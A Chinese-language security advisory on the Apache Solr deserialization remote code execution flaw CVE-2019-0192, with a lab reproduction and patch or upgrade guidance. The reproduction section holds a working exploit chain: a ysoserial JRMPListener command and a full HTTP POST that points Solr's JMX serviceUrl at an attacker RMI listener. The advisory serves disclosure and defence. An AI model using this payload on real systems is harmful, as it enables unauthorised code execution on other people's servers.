【安全预警】Apache Solr Deserialization 远程代码执行漏洞

作者:   深圳市网安计算机安全检测技术有限公司 2019/03/14 10:09:27 339次阅读 国际
文章来源:https://mp.weixin.qq.com/s/8s04gs59gWWgjMqeGlSWAg

近日,Apache Solr官方团队在最新的安全更新中披露了一则Apache Solr Deserialization 远程代码执行漏洞(CVE-2019-0192)。漏洞官方定级为 High,属于高危漏洞。漏洞原因是ConfigAPI允许通过HTTP POST请求配置Solr的JMX服务器。攻击者可以通过ConfigAPI将其配置指向恶意RMI服务器,利用Solr的不安全反序列化来触发Solr端上的远程代码执行。 


Apache Solr是一个开源的搜索服务器。具有高度可靠、可伸缩和容错的,提供分布式索引、复制和负载平衡查询、自动故障转移和恢复、集中配置等功能。


Solr为世界上许多最大的互联网站点提供搜索和导航功能。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。


Apache Solr 中存储的资源是以 Document 为对象进行存储的。每个文档由一系列的 Field 构成,每个 Field 表示资源的一个属性。Solr 中的每个 Document 需要有能唯一标识其自身的属性,默认情况下这个属性的名字是 id,在 Schema 配置文件中使用:<uniqueKey>id</uniqueKey>进行描述。


de0a132015e650216776ad8a9a87f6aa.png


bbfc4b9d5d9157f1187ea4c9d083ef33.png

2、详情分析

一、使用Apache Solr 5.5.3版本作为靶机(注意,一定要使用jre7u25以下jre),执行solr -e techproducts -Dcom.sun.management.jmxremote指令开启服务。 


二、使用ysoserial工具,执行

Java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 Jdk7u21 "notepad"

指令,监听1099端口


三、传入以下数据: 

POST /solr/techproducts/config HTTP/1.1

Host: 127.0.0.1:8983

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Content-type:application/json

Connection: close

Upgrade-Insecure-Requests: 1

Content-Length: 91

{"set-property":{"jmx.serviceUrl": "service:jmx:rmi:///jndi/rmi://127.0.0.1:1099/obj"}}


4、弹出记事本


d78003eb961f0ebb8bbee4dc3ea23829.png


3、应急解决方案

一、Apache Solr官方已经在Apache Solr 7.0 及之后版本修复了该漏洞,用户可以更新至Apache Solr 7.0 及之后版本: 

http://mirror.bit.edu.cn/apache/lucene/solr/ 


二、Apache Solr官方已经发布了SOLR-13301.patch 补丁,用户需要安装补丁后重新编译Solr,补丁地址:

 https://issues.apache.org/jira/secure/attachment/12961503/SOLR-13301.patch


指导单位
广东省公安厅网络警察总队 广东省信息安全等级保护协调小组办公室